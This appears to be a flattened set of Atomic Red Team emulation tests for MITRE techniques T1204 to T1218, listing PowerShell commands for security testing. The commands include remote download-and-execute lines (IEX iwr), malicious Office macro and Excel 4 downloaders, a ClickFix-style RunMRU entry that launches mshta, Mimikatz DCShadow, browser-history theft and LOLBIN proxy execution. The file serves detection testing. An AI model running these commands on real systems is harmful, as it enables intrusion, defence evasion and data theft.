Maldoc choice flags command execution
Malicious File
This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched. Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
T1204.002
powershell
windows
OSTAP JS version
Malicious File
Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
T1204.002
powershell
windows
Office launching .bat file from AppData
Malicious File
Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
Malicious File
This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious" VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec. A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated with Excel matches that of the local system. This username can be found under Files - Options - Username
$fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"
$fname1 = "$env:TEMP\procexp.exe"
if (Test-Path $fname) {
Remove-Item $fname
Remove-Item $fname1
}
$xlApp = New-Object -COMObject "Excel.Application"
$xlApp.Visible = $True
$xlApp.DisplayAlerts = $False
$xlBook = $xlApp.Workbooks.Add()
$sheet = $xlBook.Excel4MacroSheets.Add()
if ("#{uname}" -ne "") {
$sheet.Cells.Item(1,1) = "#{uname}"
} else {
$sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"
}
$sheet.Cells.Item(2,1) = "procexp.exe"
$sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs"
$sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)"
$sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"
$sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")"
$sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"
$sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"
$sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")"
$sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"
$sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"
$sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")"
$sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"
$sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"
$sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")"
$sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"
$sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")"
$sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"
$sheet.Cells.Item(19,1) = "=FCLOSE(A5)"
$sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"
$sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"
$sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"
$sheet.Cells.Item(23,1) = "=HALT()"
$sheet.Cells.Item(1,1).Name = "runme"
$xlApp.Run("runme")
$xlApp.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
Remove-Variable xlBook
Remove-Variable xlApp
T1204.002
powershell
windows
Headless Chrome code execution via VBA
Malicious File
This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver and pull down the script and execute it. By default the payload will execute calc.exe on the system.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome"
T1204.002
powershell
windows
Potentially Unwanted Applications (PUA)
Malicious File
The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection).
Invoke-WebRequest #{pua_url} -OutFile #{pua_file}
& "#{pua_file}"
T1204.002
powershell
windows
Office Generic Payload Download
Malicious File
This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server. Required input agruments are c2_domain and file_name Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macroCode = Get-Content "#{macro_path}" -Raw
$URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}"
$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}"
Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
T1204.002
powershell
windows
LNK Payload Download
Malicious File
This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496
Invoke-WebRequest -OutFile $env:Temp\test10.lnk "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk"
$file1 = "$env:Temp\test10.lnk"
Start-Process $file1
Start-Sleep -s 10
taskkill /IM a.exe /F
T1204.002
powershell
windows
Mirror Blast Emulation
Malicious File
Emulates the JS - MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)
Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null
& '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm"
T1204.002
powershell
windows
ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
Malicious File
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches mshta.exe with a remote payload. This technique relies on user interaction (Win+R + Enter) to trigger execution. Used in social engineering campaigns that aim to bypass traditional startup methods. Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
T1204.002
powershell
windows
Simulate Click-Fix via Downloaded BAT File
Malicious File
Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a "fix" operation.
$url = "#{url}"
$outfile = "#{outfile}"
Invoke-WebRequest -Uri $url -OutFile $outfile -UseBasicParsing
$process = Start-Process -FilePath $outfile -PassThru -WindowStyle Normal
$process.Id | Out-File "$env:TEMP\click-fix-pid.txt"
T1204.003
powershell
elevated
windows
Malicious Execution from Mounted ISO Image
Malicious Image
Adversaries may rely on a user running a malicious image to facilitate execution
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk
T1207
powershell
elevated
windows
DCShadow (Active Directory)
Rogue Domain Controller
Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute. [DCShadow](https://www.dcshadow.com/) [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with: Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely. The easiest is to run elevated and as a Domain Admin user.
# starting fake DC server, as SYSTEM (required)
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
Remove-Item $dc_output_file -ErrorAction Ignore
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"
# wait for fake DC server to be ready...
Start-Sleep -Seconds 5
# server ready, so trigger replication (push) and wait until it finished
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"
Write-Host "`nWaiting for fake DC server to return"
Wait-Process $dc
Write-Host "`nOutput from fake DC server:"
Get-Content $dc_output_file
Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
Remove-Item $dc_output_file -ErrorAction Ignore
Write-Host "End of DCShadow"
T1217
powershell
windows
List Google Chrome / Opera Bookmarks on Windows with powershell
Browser Information Discovery
Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed.
Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force
T1217
powershell
elevated
windows
Extract Edge Browsing History
Browser Information Discovery
This test will extract Microsoft Edge browser's history of current user
$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$History = Get-Content -Path "#{history_path}" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
$History | Out-File -FilePath "#{dest_path}"
T1217
powershell
elevated
windows
Extract chrome Browsing History
Browser Information Discovery
This test will extract browsing history of the chrome user
$Username = (whoami).Split('\')[1]
$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$History = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
$History | Out-File -FilePath "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"
T1218
powershell
windows
Microsoft.Workflow.Compiler.exe Payload Execution
System Binary Proxy Execution
Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
T1218
powershell
windows
Renamed Microsoft.Workflow.Compiler.exe Payload Executions
System Binary Proxy Execution
Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
&"#{renamed_binary}" "#{xml_payload}" output.txt
T1218
powershell
windows
Invoke-ATHRemoteFXvGPUDisablementCommand base test
System Binary Proxy Execution
RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339). One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted. Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe. The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts. Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}
T1218
powershell
windows
DiskShadow Command Execution
System Binary Proxy Execution
Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
#{dspath} -S #{txt_payload}
T1218
powershell
elevated
windows
LOLBAS CustomShellHost to Spawn Process
System Binary Proxy Execution
This test simulates an adversary copying customshellhost.exe and calc.exe from C:\windows\system32\ to C:\temp\, renaming calc.exe to explorer.exe. Upon execution, customshellhost.exe will spawn calc.exe. Note this will only work on Windows 10 or 11. [LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/) [BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
if (-not (Test-Path #{dest_path})) {
New-Item -Path #{dest_path} -ItemType Directory
} else {
Write-Host "Directory #{dest_path} already exists." }
Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force
Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force
#{dest_path}\customshellhost.exe
T1218
powershell
windows
LOLBAS Msedge to Spawn Process
System Binary Proxy Execution
Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe - https://lolbas-project.github.io/lolbas/Binaries/Msedge/
$edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath64) {
$edgePath = $edgePath64
} else {
# Check 32-bit Edge installation path
$edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath32) {
$edgePath = $edgePath32
} else {
exit 1
}
}
& $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&"
sleep 5
taskkill -f -im msedge.exe
taskkill -f -im calc.exe
taskkill -f -im win32calc.exe
T1218
powershell
windows
System Binary Proxy Execution - Wlrmdr Lolbin
System Binary Proxy Execution
Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}"
T1218.001
powershell
windows
Invoke CHM with default Shortcut Command Execution
Compiled HTML File
Executes a CHM file with the default Shortcut Command method.
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
T1218.001
powershell
windows
Invoke CHM with InfoTech Storage Protocol Handler
Compiled HTML File
Executes a CHM file with the ITS protocol handler.
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
T1218.001
powershell
windows
Invoke CHM Simulate Double click
Compiled HTML File
Executes a CHM file simulating a user double click.
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}
T1218.001
powershell
windows
Invoke CHM with Script Engine and Help Topic
Compiled HTML File
Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
T1218.001
powershell
windows
Invoke CHM Shortcut Command with ITS and Help Topic
Compiled HTML File
Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
T1218.004
powershell
windows
CheckIfInstallable method call
InstallUtil
Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed. If no output is displayed the test executed successfuly.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallHelper method call
InstallUtil
Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test executed successfuly.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallHelper method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil class constructor method call
InstallUtil
Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil Install method call
InstallUtil
Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Install_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil Uninstall method call - /U variant
InstallUtil
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant
InstallUtil
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil HelpText method call
InstallUtil
Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/? `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_HelpText_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.004
powershell
windows
InstallUtil evasive invocation
InstallUtil
Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation." will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "$Env:windir\System32\Tasks"
$InstallerAssemblyFileName = 'readme.txt'
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "readme.txt"
$ExpectedOutput = 'Constructor_'
# Explicitly set the directory so that a relative path to readme.txt can be supplied.
Set-Location "$Env:windir\System32\Tasks"
Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = 'Executable'
CommandLine = $CommandLine
InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe"
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
T1218.005
powershell
windows
Mshta Executes Remote HTML Application (HTA)
Mshta
Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
T1218.005
powershell
windows
Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement
Mshta
Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
T1218.005
powershell
windows
Invoke HTML Application - Jscript Engine Simulating Double Click
Mshta
Executes an HTA Application using JScript script engine simulating double click.
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick
T1218.005
powershell
windows
Invoke HTML Application - Direct download from URI
Mshta
Executes an HTA Application by directly downloading from remote URI.
Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}
T1218.005
powershell
windows
Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler
Mshta
Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}
T1218.005
powershell
windows
Invoke HTML Application - JScript Engine with Inline Protocol Handler
Mshta
Executes an HTA Application with JScript Engine and Inline Protocol Handler.
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}
T1218.005
powershell
windows
Invoke HTML Application - Simulate Lateral Movement over UNC Path
Mshta
Executes an HTA Application with Simulate lateral movement over UNC Path.
Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}